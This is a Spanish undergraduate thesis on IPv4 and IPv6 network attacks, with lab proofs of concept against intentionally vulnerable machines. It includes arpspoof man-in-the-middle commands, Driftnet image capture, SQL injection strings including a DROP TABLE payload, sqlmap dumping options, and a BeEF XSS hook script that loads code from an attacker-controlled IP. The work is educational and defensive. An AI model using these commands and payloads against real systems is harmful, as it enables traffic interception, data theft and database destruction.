Full text
1 (Esta página se ha dejado intencionadamente en blanco)
2 (Esta página se ha dejado intencionadamente en blanco)
3 TRABAJO FIN DE GRADO GRADO EN INGENIERÍA INFORMÁTICA Ataques en redes de datos IPv4 e IPv6 Autor Álvaro Rodrigo Reyes Rosado Director Francisco Javier López Muñoz Escuela Técnica Superior de Ingeniería Informática Málaga, Noviembre de 2016 Fecha defensa: El Secretario del Tribunal
4 (Esta página se ha dejado intencionadamente en blanco)
5 Resumen Desde las filtraciones sobre programas espías y la creación de páginas como WikiLeaks los usuarios de Internet toman más conciencia sobre sus datos personales y lo que significa estar conectados a la red, pero de nada sirve si los sistemas en los confían están desprotegidos. Para ello existen los profesionales que trabajan en la seguridad de la información y que deben estar al día en las últimas técnicas que utilizan los atacantes para desarrollar las defensas necesarias, algo que es difícil profundizar en un curso universitario por el tipo de contenido. En este proyecto se describen diferentes técnicas de ataques informáticos tanto a nivel de aplicación como de red, indagando sobre todo en las posibilidades que tienen los criminales para la interceptación de información y la alteración maliciosa en servicios web, con la diferenciación de la tecnología IP subyacente, separando los ataques con IPv4 de los realizados con IPv6. Se describen los primeros pasos que un atacante puede dar para vulnerar un sistema, cómo se realizan las técnicas de ataque más conocidas, cómo hay que defender un sistema tanto en general como para algunas de las técnicas vistas y una revisión de redes segmentadas comunes, características y ventajas/desventajas desde el punto de vista de la seguridad informática. Since the leaks about spyware and the proliferation of websites like WikiLeaks the Internet’s users are much more concerned about their personal data and what it means to be connected to the net, but it doesn’t mean anything if the systems which users trust are exposed. For that reason the information security professionals exists, and they must stay up-to-date with the newest techniques attackers use in order to develop the necessary defenses, something that it is difficult to deepen in the university field due to the content. This project will describe different types of attacks, from aplication layer to network layer, inquiring about the possibilities that criminals have for interception of information and the malicious hijacking on web services, splitting IPv4 from IPv6 attacks. It will describe the first steps to compromise a system, how are done the most commonly attacks, how to defend systems both general and specific attacks and a review of common segmented networks, features and advantages/disadvantages from the computer security’s point of view.
6 Listado de acrónimos PoC: Proof of Concept OSINT: Open Source Intelligence MitM: Man in the Middle SSL: Secure Socket Layer TLS: Transport Layer Security OWASP: Open Web Application Security Project OSINT: Open Source Intelligence SLAAC: Stateless address autoconfiguration IDS: Intruder Detection System DHCP: Dynamic Host Configuration Protocol DMZ: Demilitarized zone VoIP: Voice over IP VLAN: Virtual Local Area Network ARP: Address Resolution Protocol IP: Internet Protocol ICMP: Internet Control Message Protocol TCP: Transmission Control Protocol UDP: User Datagram Protocol NIST: National Institute of Standarts and Technology Palabras clave Ataque, redes, man in the middle, seguridad informática, IPv4, IPv6, ciberseguridad, VoIP, protección, segmentación, recolección, información, tecnología, hacking ético, pentesting, firewall, datos, privacidad, robo, ilegal, Heartbleed, spoofing, hijacking, footprinting, fingerprinting Attack, network, cybersecurity, protection, segmentation, gathering, information, technology, ethical hacking, privacy, theft
7 Índice Resumen ........................................................................................................................... 5 Listado de acrónimos ........................................................................................................ 6 Palabras clave ................................................................................................................... 6 Índice de figuras ............................................................................................................... 9 Introducción ................................................................................................................... 10 Objetivos ..................................................................................................................... 11 Estructura .................................................................................................................... 12 1 - Recolección de información ...................................................................................... 13 1.1 - Footprinting ........................................................................................................ 14 1.1.1 - OSINT ............................................................................................................ 15 1.1.2 - Eavesdropping .............................................................................................. 15 1.1.3 - Snooping ....................................................................................................... 16 1.1.4 - Ingeniería social ........................................................................................... 16 1.1.5 - Búsqueda DNS y WHOIS ............................................................................... 17 1.2 - Sniffing ................................................................................................................ 18 1.3 - Spoofing .............................................................................................................. 19 1.4 - Hijacking .............................................................................................................. 20 1.5 - Auditoria perimetral e interna ............................................................................ 21 1.6 - PoC: Escaneo de una red .................................................................................... 22 2 - Ataques en redes IPv4 ............................................................................................... 29 2.1 - PoC: Man in the Middle. ARP Poisoning ............................................................. 30 2.2 - PoC: SQL Injection ............................................................................................... 34 2.3 - PoC: Cross-Site Scripting ..................................................................................... 37 2.4 - PoC: Cross-Site Request Forgery......................................................................... 40 2.5 - PoC: HeartBleed .................................................................................................. 43 2.6 - PoC: DoS/DDoS ................................................................................................... 47 3 - Ataques en redes IPv6 ............................................................................................... 51 3.1 - PoC: Man in the Middle ...................................................................................... 52 3.1.1 - Neighbor Spoofing ....................................................................................... 53 3.1.2 - SLAAC ........................................................................................................... 55 3.2 - PoC: Servidor Rogue DHCPv6 ............................................................................. 58
8 4 - Protección frente a ataques ...................................................................................... 61 4.1 - Seguridad por oscuridad y otras medidas no recomendables ........................... 62 4.2 - IPS, IDS y WAF ..................................................................................................... 64 4.3 - Redes privadas virtuales ..................................................................................... 66 4.4 - DHCP Snooping ................................................................................................... 67 4.5 - Honeypots y Honeynets ...................................................................................... 69 4.6 - PoC: Prevención y detección de ARP Poisoning ................................................. 70 5 - Análisis de redes segmentadas ................................................................................. 73 5.1 - VLAN.................................................................................................................... 74 5.2 - DMZ ..................................................................................................................... 75 5.3 - VoIP ..................................................................................................................... 77 Conclusiones ................................................................................................................... 78 Bibliografía ...................................................................................................................... 80 Anexo 1: Instalación del laboratorio .............................................................................. 85 Anexo 2: Software y herramientas ................................................................................. 87
9 Índice de figuras 1 Pasos de un ataque. ................................................................................................................. 13 2 Bansky y la NSA ........................................................................................................................ 15 3 Wireshark (antes conocido como Ethereal) es uno de los sniffers más conocidos ................. 18 4 Lo que necesita Dios es un auditor de seguridad ..................................................................... 20 5 Hosts activos............................................................................................................................. 22 6 Host activo, puertos 21,22,23,25,53 y 80 abiertos .................................................................. 23 7 Servicios activos en puertos menos comunes ......................................................................... 23 8 Una base de datos mysql en el puerto 3306 ............................................................................ 24 9 Más información: algunos servidores, la dirección MAC, el sistema operativo y la distancia . 24 10 Scripts nbstat (imagen anterior) y smb-os-discovery, mas un trazado de red ...................... 25 11 p0f en Kali Linux ..................................................................................................................... 26 12 p0f indica que 192.168.101.129 tiene Linux 2.6.X ................................................................. 26 13 Sparta mostrando el anterior escaneo realizado. Se ve que es un resultado más “amigable” que la salida de Nmap. ................................................................................................................ 27 14 Tabla ARP de la víctima sin modificar .................................................................................... 30 15 Tabla ARP de la víctima modificada ....................................................................................... 31 16 Texto plano interceptado desde Kali ..................................................................................... 32 17 Envenenamiento ARP ............................................................................................................. 32 18 Imágenes capturadas con Driftnet ......................................................................................... 33 19 Tráfico capturado con Driftnet ............................................................................................... 33 20 Estadísticas del XSS en mutillidae/add-to-your-blog.php ...................................................... 38 21 BeEF mostrando los resultados del "hook" insertado en la web ........................................... 39 22 Objetivo CSRF ......................................................................................................................... 41 23 HeartBleed. En la imágen izq. lo que debería ocurrir. En la derecha se produce una fuga de datos ............................................................................................................................................ 43 24 Se ha producido la fuga. 65535 bytes que cambian constantemente dan para mucho........ 46 25 Ejemplo de ataque DDoS ........................................................................................................ 47 26 SYN Flood con Metasploit ...................................................................................................... 48 27 Ejemplo de dirección IPv6 (enlace local) ................................................................................ 51 28 MitM con Evil FOCA ................................................................................................................ 54 29 Red IPv6 .................................................................................................................................. 55 30 Así debe quedar la configuración de la víctima ..................................................................... 56 31 El funcionamiento de un rogue DHCP .................................................................................... 58 32 Certificados SSL válidos .......................................................................................................... 61 33 Texto original SP-800-63B ...................................................................................................... 63 34 Esquema de configuración básico IDS (Izquierda) y IPS (Derecha) ........................................ 64 35 Esquema VPN ......................................................................................................................... 66 36 Facebook no carga bien las imágenes, ¿es culpa de sus servidores? Hora de sospechar ..... 71 37 Dos direcciones IP con la misma MAC = Peligro .................................................................... 71 38 Marmita detecta un ataque e informa quién lo realiza ......................................................... 71 39 Configuración típica de red segmentada ............................................................................... 73 40 Esquema conceptual de segmentación .................................................................................. 74 41 Doble etiquetado de tráfico en VLAN .................................................................................... 75 42 Zona desmilitarizada con un solo firewall .............................................................................. 76
16 1.1.3 - Snooping El término snooping (fisgonear) hace referencia a la información que se obtiene sin permiso explícito del objetivo, e incluye cosas como mirar un correo electrónico que aparece en la pantalla de alguien o ver lo que otra persona está escribiendo. En la práctica es similar al eavesdropping, pero no está limitado a obtener la información durante su transmisión. Aunque parezca algo simple o poco relevante, se podría decir que ambos son de los vectores de ataque más vulnerables ya que las personas tenemos tendencia a confiar en los demás, sobre todo en las empresas donde no es extraño encontrar información confidencial como pueden ser las contraseñas de administrador de los equipos en notas pegadas al monitor, donde alguien con un poco de maña las puede conseguir. 1.1.4 - Ingeniería social Pero “maña” es un término poco técnico. En seguridad informática se le llama ingeniería social a la práctica de manipular personas para eludir los sistemas de seguridad y consiste en obtener información de los propios usuarios por teléfono, correo electrónico, cartas o contacto directo. Para ello se necesita tener suficiente elocuencia como para persuadir al objetivo para aprovecharse de lo que inconscientemente sabe, información que a priori no es relevante para el usuario de un sistema pero que sí que lo puede ser para un atacante. Kevin Mitnick, famoso hacker pionero en ingeniería social, define estos cuatro principios para todas las personas: Todos queremos ayudar Siempre, el primer movimiento hacia el otro, es de confianza Evitamos decir NO A todos nos gusta que nos alaben Con esto se refiere a que teóricamente se podría vulnerar un sistema, sea cual sea, solo eligiendo las personas adecuadas y las palabras correctas. Un ejemplo de ingeniería social podría ser hacerse pasar por técnico de una empresa y hablar con un empleado previamente seleccionado para extraer de él información relevante, que puede ir desde direcciones físicas y lógicas de equipos a contraseñas de administrador. Esta técnica combina perfectamente con ataques de phishing (suplantación de identidad) para hacer que la víctima pique el anzuelo llevándola desinteresadamente a enlaces maliciosos.
17 1.1.5 - Búsqueda DNS y WHOIS Las búsquedas DNS sirven para encontrar los enlaces entre direcciones IP y nombres de dominio de un cierto servidor. Se puede hacer un símil con los DNS y una agenda de teléfonos; para buscar un número de teléfono necesitamos saber el nombre al que está asignado o viceversa. Por esto mismo existen dos tipos de búsquedas DNS: Normal: dado el nombre del servidor devuelve la dirección IP Inversa: dada una dirección IP devuelve el nombre del servidor Algo que nos puede ayudar también para trazar la red es la información que obtenemos de las consultas WHOIS. WHOIS es un protocolo diseñado para consultar bases de datos que almacenan información de un recurso de Internet, como nombres de dominio o direcciones IP. Los datos que ofrecen estas consultas dependen de lo que haya definido el administrador del sistema que se consulta, por lo que la cantidad de información puede variar.
18 1.2 - Sniffing El concepto de sniffing se puede considerar uno de los más básicos una vez acabado el footprinting. Traducido literalmente como oler u olfatear, el sniffing es una técnica que se basa en capturar todo el tráfico de red que pasa por un equipo, siempre y cuando su tarjeta de red esté configurada en modo promiscuo. Hay que hacer una distinción importante: el sniffing según la herramienta que se use o el tipo de consulta que se haga se puede considerar ataque, por lo que va un paso por delante de la recogida pública de información con técnicas de footprinting, que conseguía la información sin tener una relación directa con el objetivo. El tráfico capturado nos permite interceptar la comunicación, pero sin intervenir en absoluto ya que ese no es el propósito de esta técnica. Los sniffers se pueden utilizar para realizar tareas lícitas dentro de una red, como pueden ser: Administrar y gestionar la información que pasa a través de una red LAN. Realizar auditoría de redes. Identificar estabilidad y vulnerabilidades de las redes LAN. Verificar el tráfico de una red y monitorear su desempeño. Prevenir actividades de espionaje industrial. Monitorear las actividades de los usuarios de una red. Identificar paquetes de datos. Posiblemente el sniffer más famoso sea Wireshark, por la potencia de sus filtros y la utilidad de sus herramientas (estadísticas, filtros personales, análisis de trazas, etc.) por lo que se usará más tarde en las pruebas de concepto. 3 Wireshark (antes conocido como Ethereal) es uno de los sniffers más conocidos
19 1.3 - Spoofing Se denomina spoofing a la suplantación de identidad dentro de un sistema con el objetivo de recibir información que se intercambia entre dos sistemas distintos. En el sentido estricto spoofing identifica todas aquellas técnicas enfocadas a la suplantación, como pueden ser MAC spoofing o ARP Spoofing. Prácticamente en cada una de las capas del protocolo TCP/IP sería posible encontrar una técnica de suplantación, siendo unas más complejas que otras, pero igual de efectivas cuando el propósito es el mismo. En el spoofing entran en juego tres máquinas: atacante, victima y un sistema suplantado. Para que el atacante pueda conseguir su objetivo necesita, por un lado, establecer una comunicación falseada con su objetivo, y por otro lado evitar que el equipo suplantado interfiera en el ataque. Dentro de los tipos de spoofing podemos encontrar los siguientes: IP spoofing: suplantación de dirección IP ARP spoofing: suplantación de dirección MAC DNS spoofing: alteración de las direcciones IP en los servidores DNS para que apunten a servidores maliciosos E-mail spoofing: creación de mensajes de correo electrónico con una dirección de remitente falso Web spoofing: suplantación de una página web GPS spoofing: suplantación de coordenadas geográficas Se hace notar que las primeras técnicas de spoofing aparecieron en los años 80, cuando las redes se pensaron con el objetivo de que fueran funcionales, no seguras. A día de hoy estas técnicas siguen siendo igual o más efectivas, al igual que las formas de detectarlas y prevenirlas.
20 1.4 - Hijacking Lo que se hace con un sniffer es capturar tráfico entre dos o más equipos, y con las técnicas de spoofing suplantábamos la identidad de alguno de ellos. Pero esos paquetes capturados ¿son susceptibles a la modificación antes de que sean reenviados? Esta pregunta describe el hijacking (secuestro), la alteración de mensajes en una comunicación. Un sniffer captura dicha información y mediante una técnica llamada “inyección de paquetes” puede modificarla, corromperla y reenviarla. Con esto se logra engañar a los servidores que proveen servicios en Internet. Entre los tipos de técnicas de hijacking se encuentran: Browser hijacking o Modifica la configuración de un navegador web para inyectar código malicioso Session hijacking / Cookie hijacking o Se basa en la obtención de cookies que almacenan la sesión activa de un usuario en algún servidor para tener acceso no autorizado IP hijacking o Control no autorizado sobre un grupo de direcciones IP debido a la corrupción de las tablas de enrutamiento. Esto puede derivar en un malfuncionamiento de la red y como consecuencia en un ataque DDoS Para cada una de las técnicas se utiliza un método llamado Man in the Middle (MitM) que consiste en “colocarse en medio” en una comunicación privada y proceder a la escucha, suplantación o alteración de la conversación como se ha visto hasta ahora. Más adelante se verá con profundidad este método para ambas versiones de IP. 4 Lo que necesita Dios es un auditor de seguridad
21 1.5 - Auditoria perimetral e interna El término “auditoría” se refiere a la inspección, revisión y verificación de un sistema o actividad para evaluar que se cumplen determinadas reglas a los que están sometidos. Por tanto, una auditoría de seguridad informática pretende analizar la situación de un sistema de información respecto a las vulnerabilidades que se puedan presentar. Las auditorías perimetrales permiten conocer el estado de seguridad del perímetro de nuestro objetivo analizando las posibles entradas del exterior hacia zonas internas. Como el auditor/atacante no conoce o no debería conocer de antemano la configuración del perímetro a veces se denomina auditoría ciega. El objetivo de esta auditoría es obtener acceso a la red interna, obtener información y detectar vulnerabilidades que pongan en peligro al objetivo. En este tipo de auditoría se realizan varios tipos de pruebas: Identificación de servicios Análisis de vulnerabilidades Análisis de información Análisis de código Detección de malas configuraciones y exposiciones no deseadas Detección y explotación Aunque estas pruebas dependerán de las técnicas actuales y de los servicios que estén expuestos al exterior. Una vez dentro de la red se habla de auditoría interna cuando se comienza a comprobar el estado de los segmentos dentro de esta. Por ejemplo, en una empresa lo más normal es que haya una o más redes dependiendo del número de departamentos, por lo que ahora se debe mirar si es posible saltar de una red a otra hasta encontrar el punto clave que nos permita decir que el objetivo es vulnerable. Las pruebas que se suelen realizar en este tipo de auditorías son: Diseño y análisis de la topología y de la segmentación. Análisis de seguridad de VLAN Seguridad de los puertos de acceso Sniffing de red y análisis de tráfico de red Escalada de privilegios Obtención de credenciales Cifrado de comunicaciones Y como punto final, el análisis global de toda la información obtenida.
22 1.6 - PoC: Escaneo de una red Para empezar la primera de las pruebas de concepto se va a realizar el proceso de recopilación de información usando algunas de las técnicas que se han visto antes. Para ello se van a utilizar dos máquinas virtuales: Kali Linux como atacante y Metasploitable 2 como objetivo. Se ha decidido usar esta máquina porque ofrece un sistema operativo muy vulnerable y servirá para las siguientes pruebas de concepto, por lo que cuanto más sepamos sobre ella más podremos aprovechar luego. En el anexo se describe como se han preparado los entornos para cada una de las máquinas virtuales. Evidentemente no se va a utilizar ninguna de las técnicas de footprinting basadas en información pública, puesto que el objetivo es descubrir qué tiene la máquina, no leer el manual de Metasploitable. En este caso se realizará una auditoría interna ya que la apertura de Metasploitable a Internet puede ser algo peligroso asi que suponemos que, al menos, estamos dentro de la red donde está nuestro objetivo. Una de las primeras cosas que podemos comprobar es cuantos nodos activos hay en la red. En este caso se hace un escaneo con Nmap sin descubrimiento de puertos (-sn) para ver cuantos responden a las peticiones ICMP. Como Nmap permite seleccionar un rango de direcciones IP y sabemos de antemano las direcciones asignadas, se ha acotado la búsqueda en cinco direcciones, de las cuales podemos ver lo siguiente: 5 Hosts activos Con esta información podemos empezar a construir nuestro mapa de red. El único resultado que no indica la dirección MAC es la del equipo que lanza el escaneo. Nmap no tiene porqué detectar todos los equipos conectados a la red, solo detecta aquellos que le devuelven una respuesta ICMP, lo que significa que puede haber equipos como dispositivos móviles que no respondan a las peticiones.
23 Un escaneo agresivo con Nmap en una de las otras dos IP nos revela bastante información: 6 Host activo, puertos 21,22,23,25,53 y 80 abiertos Empezamos a ver puertos abiertos que son reconocibles por convenio: 21, 23, 80, etc. Telnet parece un buen objetivo por donde empezar, ya que de entrada se sabe que es inseguro. 7 Servicios activos en puertos menos comunes Llama la atención el número de puertos que indican que hay shells detrás, sobre todo la descripción del puerto 1524 (en la realidad no debería verse nunca algo así por el bien de todos). Para los demás habría que indagar un poco más en qué consisten los servicios.
24 8 Una base de datos mysql en el puerto 3306 Si somos capaces de obtener acceso a una base de datos podríamos hacer bastante daño. Las bases de datos siempre tienen algo interesante, sobre todo si pertenecen a una empresa. 9 Más información: algunos servidores, la dirección MAC, el sistema operativo y la distancia Nmap realiza un fingerprinting activo para deducir el tipo de sistema operativo que usa la máquina. Se recalca lo de activo porque si hubiera algún sistema de detección de intrusos detrás bien configurado igual nos podría echar por alto el plan y alertar al administrador/es de un posible ataque.
25 10 Scripts nbstat (imagen anterior) y smb-os-discovery, mas un trazado de red La opción -A de Nmap realiza las siguientes acciones: Detección de sistema operativo Escaneo de versión Escaneo de scripts* Traza de red *Nmap nos avisa de que el escaneo de scripts puede ser demasiado intrusivo, por lo que podríamos reemplazar dicha opción por “-o -Sv --traceroute” Lo más llamativo que se debería notar es la cantidad de veces que aparece la palabra METASPLOITABLE, por lo que podemos estar seguros de que atacamos a la máquina adecuada (más allá de la cantidad de puertos abiertos), el resto es cuestión de hilar la información que disponemos para rellenar los huecos de información que nos queden. Con toda esta información podríamos empezar a preparar el ataque, pero no nos debemos conformar con los primeros resultados. Lo propio es usar más herramientas hasta alcanzar un nivel de confianza suficiente para no fallar en el ataque como por ejemplo TheHarvester, una herramienta para recopilar direcciones de correo electrónico, subdominios, nodos, nombres, y demás información en redes más complejas o con un mínimo nivel organizativo. Este tipo de herramientas se pueden usar para conocer qué tipo de información es capaz de obtener un atacante sobre una red u organización o en otras palabras realizar auditorías sobre posibles fugas de información.
32 Para hacer la prueba conectamos Debian a Metasploitable a través de Telnet, lo que conlleva a la siguiente imagen en Kali: 16 Texto plano interceptado desde Kali La imagen representa parte del tráfico que se ha interceptado junto con la opción de seguir la traza TCP (Follow TCP Stream) en Wireshark. Como Telnet es un protocolo que no cifra las conversaciones por defecto podemos ver toda la información enviada en texto plano. Un detalle de Ettercap es que es capaz de detectar información que encuentre interesante, en este caso nos ofrece esta salida: Arpspoof + Driftnet En esta prueba vamos a utilizar MitM para recolectar imágenes con Driftnet. Arpspoof permite realizar el envenenamiento sin ningún añadido (solo desde consola) mientras que Driftnet permite la visualización de imágenes detectadas entre el tráfico. Como vamos a usar Internet para la prueba, cambiamos la configuración de las interfaces de red de Kali y Debian a “Bridged”, para asignarle direcciones IP con salida hacia el exterior. Así, al ejecutar: arpspoof -i eth0 -t 192.168.1.48 192.168.1.1 arpspoof -i eth0 -t 192.168.1.1 192.168.1.48 en dos consolas distintas inundamos el tráfico de paquetes ARP falsos para que el tráfico que vaya de la máquina al router y viceversa pase por la máquina del atacante: 17 Envenenamiento ARP
33 Una vez hecho esto podemos usar Driftnet con el comando: driftnet -p -i eth0 -a -d /imagenes -i indica la interfaz de red que se escuchará. Si no se especifica una en concreto Driftnet escuchará en todas las interfaces posibles. -p indica que no vamos a usar el modo promiscuo, porque en ese caso no es necesario realizar la suplantación. Si no lo indicamos Driftnet analizará el tráfico de todos los hosts disponibles. -a indica que no se utilizará el modo gráfico. -d indica que se guardarán las imágenes detectadas en la carpeta que se indique. 18 Imágenes capturadas con Driftnet Driftnet también puede funcionar como sniffer con la opción -v, ya que, aunque no cuente tanta información como Wireshark, señala las peticiones y los puertos a los que se está accediendo. 19 Tráfico capturado con Driftnet Esta aplicación es solo una prueba de cómo de fácil sería obtener información en una red compartida porque aunque solo se preocupe de recopilar imágenes (que ya es en sí una violación de privacidad importante) nos puede dar una idea de cómo se puede utilizar los ataques de MitM para otro tipo de tareas.
34 2.2 - PoC: SQL Injection Una inyección SQL consiste en la introducción de una consulta SQL a través de un punto de entrada para usuarios sin privilegios. Lo más común es pensar en una pantalla de acceso en un servidor web. Las inyecciones SQL, en el caso de ser ejecutadas correctamente, son capaces de realizar acciones CRUD sobre la base de datos que se halle detrás del servicio, ejecutar operaciones de administración e incluso llegar a ejecutar comandos del sistema operativo. La posibilidad de explotar este tipo de ataques se debe mayormente a una mala programación en el código que enlaza las consultas a la base de datos con las entradas que puede escribir el usuario, ya que se suele suponer que el usuario no escribirá más allá de lo que se le pida en el formulario. El ejemplo más sencillo es el de un formulario para acceder a un servicio: Suponiendo que existe un servicio tras el servidor que realiza la consulta “SELECT id FROM tabla WHERE user=’usuario’ and password=’password’ ” La sentencia será correcta sintácticamente y será cierta si se dan las condiciones especificadas. No es posible impedir que el usuario escriba “ ‘or ‘1’=’1 “. La consulta “SELECT id FROM tabla WHERE user=’usuario’ and password=’ ‘or ‘1’=’1 ’ ” sigue siendo sintácticamente correcta y lo que es más importante: también será verdadera, por lo que devolvería el atributo indicado sin problemas. Para esta prueba vamos a usar una de las aplicaciones web que trae Metasploitable: Mutillidae. Esta aplicación es vulnerable a gran parte de las vulnerabilidades del top ten de OWASP. Además permite configurar cómo será el nivel de seguridad, desde 0 (inseguro) hasta 5 (muy seguro) y la posibilidad de darnos pistas o no.
35 Antes de realizar las pruebas hay que cambiar un parámetro en Metasploitable para que funcione bien el acceso a la base de datos para la versión 2.1.19 de Mutillidae: Editamos el fichero /var/www/mutillidae/config.inc para que quede así: Con esto hecho ya podemos probar la sentencia del anterior ejemplo en la pantalla de acceso, y el resultado es el esperado: todos los registros que cumplen la condición (aquellos que cumplen que 1=1, es decir, todos) se muestran en pantalla. Realmente no importa lo que escribamos en cualquier otro campo distinto al inyectable, ya que la preferencia de operadores hace que la consulta sea siempre verdadera. En el caso anterior tenemos una sentencia del estilo “falso && falso || verdadero “, cuyo resultado es verdadero. Especialmente delicado es el caso donde la aplicación sea vulnerable a las consultas “apiladas”, es decir, que se pueda ejecutar cualquier tipo de consulta SQL en la inyección, como puede ser “ ‘or 1=1;DROP TABLE accounts; -- “
36 Para automatizar parte del proceso de descubrir el tipo de inyecciónes que se pueden realizar se creó la herramienta SQLmap, que realiza peticiones a los parámetros de una URL para explotar un buen número de bases de datos con distintos tipos de ataques, como consultas basadas en parámetros booleanos o consultas basadas en errores. Para ejecutarlo en esta prueba usamos las siguientes opciones que se ven en la imagen: -u indica la dirección URL posiblemente vulnerable --data indica los parámetros que pueden ser objeto de inyección, o bien los parámetros pasados por GET o POST --cookie sirve para especificar cualquier cookie que pueda ser de utilidad, como la cookie de sesión --dbs nos muestra los nombres de las bases de datos El resultado de esta ejecución nos avisa de que el parámetro “username” es vulnerable a las inyecciónes SQL y en el transcurso de la ejecución nos irá preguntando si queremos obviar procesos extra, como probar ataques sobre otro tipo de bases de datos o seguir redirecciones. La opción dbs nos muestra lo siguiente al finalizar: Una vez sabiendo las bases de datos que existen, podemos seguir investigando con los distintos parámetros de la herramienta: -D para elegir una base de datos, - T para elegir una tabla, -- columns para devolver las columnas de una tabla, --dump para devolver los valores de la tabla, etc… Al final el resultado es el mismo que al principio, cuando probábamos a ciegas una inyección:
37 2.3 - PoC: Cross-Site Scripting De forma similar a las inyecciones SQL existe el Cross-Site Scripting (XSS), una vulnerabilidad en aplicaciones web que permite a los atacantes inyectar scripts en Javascript y modificar aplicaciones web que estén abiertas al público, haciendo que cualquier cliente que acceda al servicio sea una potencial víctima. La efectividad de este ataque se basa mayormente en la confianza que un usuario deposita en un servicio web, por lo que el phishing esta muy relacionado con este tipo de ataques. Entre las cosas que se pueden lograr con XSS están el robo de cookies, cambio de configuraciones en el servidor con acceso restringido, anuncios falsos o enlaces a ubicaciones maliciosas, robo de tokens de formularios, etc. Al igual que las inyecciones SQL, todo depende del objetivo del atacante y lo que pretenda conseguir. Existen tres tipos de XSS: Persistente/Almacenado: cuando el script queda almacenado en la aplicación web. o Cada vez que un usuario realice una petición el servicio devolverá el resultado modificado por el atacante. Se produce si el desarrollador no filtra las entradas de datos de los usuarios de una forma adecuada. El ejemplo más sencillo de entender es que el atacante consiga insertar código Javascript dentro de una base de datos como un elemento accesible fácilmente. Así al realizar la petición se ejecutará lo que este programado en el código. No persistente/Reflejado: cuando el usuario debe seguir un enlace hasta un sitio donde estará expuesto a ser atacado. o La forma más común de realizar este ataque es a través de phishing: 1. El atacante modifica una URL para ejecutar código JS externo y la envía a un buen número de usuarios. 2. Una de las victimas accede al enlace y ejecuta una petición a la aplicación web. 3. La aplicación devuelve el código JS malicioso en la respuesta. 4. El navegador de la víctima ejecuta el código JS malicioso. Si todo ha funcionado el atacante puede acceder a cualquier tipo de información: cookies, teclas pulsadas, nombres de usuarios, etc.
38 XSS basado en DOM: el script se ejecuta directamente en el navegador del usuario a través del DOM. o Funciona de forma parecida al XSS reflejado, pero la diferencia está en que el código que devuelve la aplicación es legítimo, pero no el contenido. El código malicioso se ejecuta tras cargar la página. Como herramienta de explotación tenemos XSSer, un framework para detectar, explotar y reportar XSS. Esta herramienta realiza una serie de pruebas frente a la URL indicada y nos permite modificar tanto el tipo de ataque que queremos realizar como varias opciones de anonimato, además de mostrar los enlaces vulnerables encontrados. Tambien posee un modo “guiado” por si queremos saltarnos los detalles y empezar lo antes posible. La imagen a continuación representa la salida sobre una de las URLs vulnerables de Mutillidae: 20 Estadísticas del XSS en mutillidae/add-to-your-blog.php
39 Se ha configurado para realizar XSS que solo muestren alertas, y de todas las conexiones realizadas 30 han tenido éxito, por lo que cualquiera de esos 30 enlaces que se han generado en la aplicación nos permitirán ejecutar código malicioso. Si queremos configurar un servidor para que esté a la escucha de otras peticiones podemos montar nuestro propio script de registros en un servidor común, pero no está de más probar BeEF. BeEF (Browser Exploitation Framework) es un framework diseñado especialmente para los navegadores web, y como tal también es capaz de conseguir información a partir de XSS. Para ello, una vez se sabe que determinada URL es vulnerable a XSS, se inyecta un código javascript que enlazará la web con la suite. Esto requiere que se ejecute el script: <script src=http://<IP>:3000/hook.js></script> Donde IP es la dirección de nuestro servidor. Una vez que este código se haya inyectado se podrá ver una captura como la siguiente (en este caso el servidor es localhost): 21 BeEF mostrando los resultados del "hook" insertado en la web Lo interesante de esta herramienta es que funciona muy bien con el phishing. Suponiendo el caso en que se envíen una cantidad suficiente correos con un enlace a una pagina “de confianza” que inyecta código JS malicioso, existe alguna probabilidad de que al menos uno de esos correos tenga éxito.
40 2.4 - PoC: Cross-Site Request Forgery Las vulnerabilidades XSS pretenden explotar la confianza que un usuario tiene en un sitio en particular, pero si se da el caso contrario estamos hablando de Cross-Site Request Forgery o falsificación de peticiones (CSRF), explotar la confianza que un sitio tiene en un usuario concreto. El objetivo de CSRF no es el robo de información puesto que el atacante no tiene ninguna forma de ver la respuesta de las peticiones falsificadas. En su lugar estos ataques se aprovechan de las sesiones activas para realizar acciones a las que sabe, con cierto grado de probabilidad, que el usuario tiene acceso, especialmente peligroso si el usuario tiene permisos de administrador en el objetivo del atacante (como una aplicación web). El siguiente esquema expone el funcionamiento básico de este ataque: Se entiende como “petición falsificada” aquella que realiza el navegador de la víctima a causa de la respuesta devuelta por el servidor malicioso. No es extraño que haya páginas web donde algunas de sus imágenes se obtengan de servidores externos por lo que si dichos enlaces ejecutasen acciones como cambiar contraseñas o hacer listados de datos aprovechando que el usuario mantiene una conexión activa y tienen éxito contra el servidor objetivo estaríamos hablando de un gran problema. Una característica de estos ataques es que son difícilmente detectables ya que, aunque las peticiones hayan sido falsificadas, se han enviado de forma legítima y no dejan ningún rastro más allá del que realiza la víctima, por lo que se requieren investigaciones forenses si se sospecha que se ha producido un ataque con CSRF. 1. La víctima realiza una petición al sitio web malicioso 2. El servidor responde con una acción que no corresponde a su dominio 4. El servidor vulnerable ejecuta acciones que el usuario no ha pedido de forma consciente, ya que han sido producto de la petición del atacante 3. El usuario, conectado al servidor vulnerable, manda la petición “falsificada”
41 Esta vez usamos DVWA para probar CSRF. DVWA (Damn Vulnerable Web Application) es similar a Mutillidae, una aplicación web diseñada para ser explotada y que también sirve para hacer las pruebas que se han realizado antes. El objetivo en esta prueba es el de cambiar la contraseña de administrador, asi que primero configuramos DVWA. 22 Objetivo CSRF Antes de empezar hay que configurar el nivel de seguridad de DVWA en nivel bajo, ya que por defecto se encuentra en nivel alto y el formulario de cambio de contraseñas es diferente: en nivel alto se pide la contraseña actual mientras que en nivel bajo solo se pide la nueva contraseña y su confirmación. Como el tráfico no está siendo cifrado podemos suponer que tras un ataque MitM como se vió antes hemos podido obtener con Wireshark la siguiente información: Se da un hecho curioso: hemos sido capaces de obtener una contraseña pero no sabemos el nombre del usuario que la ha cambiado, por lo que, o bien hay que esperar a nueva información o bien intentar explotar lo que acabamos de descubrir: se ha realizado una petición GET cuyos parámetros son la nueva contraseña y su confirmación. Podemos empezar a asumir como funciona la aplicación web a partir de aquí.
